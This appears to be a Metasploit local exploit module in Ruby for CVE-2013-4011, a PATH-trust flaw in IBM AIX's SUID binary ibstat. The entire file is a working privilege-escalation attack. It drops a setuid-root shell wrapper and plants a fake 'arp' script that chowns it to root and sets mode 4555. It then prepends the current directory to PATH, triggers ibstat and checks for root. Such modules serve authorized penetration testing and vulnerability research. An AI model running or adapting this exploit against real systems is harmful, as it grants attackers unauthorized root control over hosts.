# Not sure if the deps are correct

require 'msf/core'
require 'rex'

class Metasploit4 < Msf::Exploit::Local
    Rank = ExcellentRanking

    def initialize(info={})
        super( update_info( info, {
            'Name'          => 'ibstat $PATH Privilege Escalation',
            'Description'   => %q{
              This module exploits the trusted PATH environment variable of the SUID binary 'ibstat'.
            },
            'Author'         =>
            [
              'Kristian Erik Hermansen', #original author  
              'Sagi Shahar (sagi-) <sagi.shahar[at]mwrinfosecurity.com>', #msf module 
              'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>', #msf module 
            ],
          'References'     =>
            [
              [ 'CVE', '2013-4011' ],
              [ 'OSVDB', '95420' ],
              [ 'BID', '61287' ],
              [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827' ],
              [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756' ]
            ],
            'Platform'      => [ 'aix' ],
            'Arch'          => [ 'ppc' ],
          'Targets'         =>
            [
              [
                'IBM AIX Version 6.1',
                {
                  'Arch'     => 'ppc',
                  'Platform' => 'aix',
                  'AIX'      => '6.1',
                }
              ],

              [
                'IBM AIX Version 7.1',
                {
                  'Arch'     => 'ppc',
                  'Platform' => 'aix',
                  'AIX'      => '7.1',
                }
              ],

            ],
            'DefaultTarget' => 1,
          }
          ))
         register_options([
             OptString.new("WritableDir", [ true, "A directory where we can write files", "." ]),
           ], self.class)
  end

    def exploit

        if not is_vuln()
            return
        end

        root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
        arp_file = "#{datastore["WritableDir"]}/arp"

        if (is_gcc_installed == true) 
            write_c_file("#{root_file}")
            print_status("Compiling source...")
            cmd_exec "gcc -o #{root_file} #{root_file}" + ".c"
            print_status("Compilation completed")
            print_status("Deleting source...")
            cmd_exec "rm #{root_file}.c"
        else
            cmd_exec "cp /bin/sh " + "#{root_file}"
        end
        print_status("Writing custom arp file...")
        write_arp_file("#{arp_file}","#{root_file}")
        print_status("Custom arp file written")
        print_status("Updating PATH environment variable...")
        cmd_exec 'PATH=.:$PATH'
        cmd_exec 'export PATH'
        print_status("Triggering vulnerablity...")
        cmd_exec '/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null'
        print_status("Removing custom arp...")
        cmd_exec "rm #{arp_file}"
        print_status("Checking root privileges...")
        verify_root("#{root_file}")
    end

    def is_gcc_installed
        print_status("Checking if gcc exists...")
        gcc_version = cmd_exec 'gcc -v'
        gcc_array = gcc_version.split("\n")
        gcc_array.each do |res|
            if res.include? ("gcc version")
                print_good("gcc found! " + "(" + "#{res}" + ")")
                return true
            end
        end
        print_status("gcc not found. Using /bin/sh from local system")
        return false;
    end

    def write_c_file(filename)
        c_file = filename + ".c"
        print_status("Dropping file " + c_file + "...")
        cmd_exec "echo \"#include <stdio.h>\n\" > " + c_file
        cmd_exec "echo \"int main()\" >> " + c_file 
        cmd_exec "echo \"{\" >> " + c_file 
        cmd_exec "echo \"setreuid(0,0);\" >> " + c_file 
        cmd_exec "echo \"setregid(0,0);\" >> " + c_file
        cmd_exec "echo \"execve(\\\"/bin/sh\\\",NULL,NULL);\" >> " + c_file 
        cmd_exec "echo \"return 0;\" >> " + c_file 
        cmd_exec "echo \"}\" >> " + c_file 
    end

    def write_arp_file(arp_file, bin_file)
        cmd_exec "echo \"#!/bin/sh\" > " + arp_file
        cmd_exec "echo \"chown root " + bin_file + "\" >> " + arp_file
        cmd_exec "echo \"chmod 4555 " + bin_file + "\" >> " + arp_file
        cmd_exec "chmod 0555 " + arp_file
    end

    def verify_root(filename)
        cmd_exec filename
        id_output = cmd_exec "id"
        if id_output.include? ("euid=0(root)")
            print_good("Got root! (euid)")
        elsif id_output.include?("uid=0(root)")
            print_good("Got root!")
        else
            print_status("Exploit failed")
        end
    end

    def is_vuln()
        ls_output = cmd_exec "ls -l /usr/sbin/ibstat"
        if ls_output.include? ("-r-sr-xr-x")
            print_good("Target is vulnerable")
            return true
        else
            print_status("Target is not vulnerable")
            return false
        end
    end
end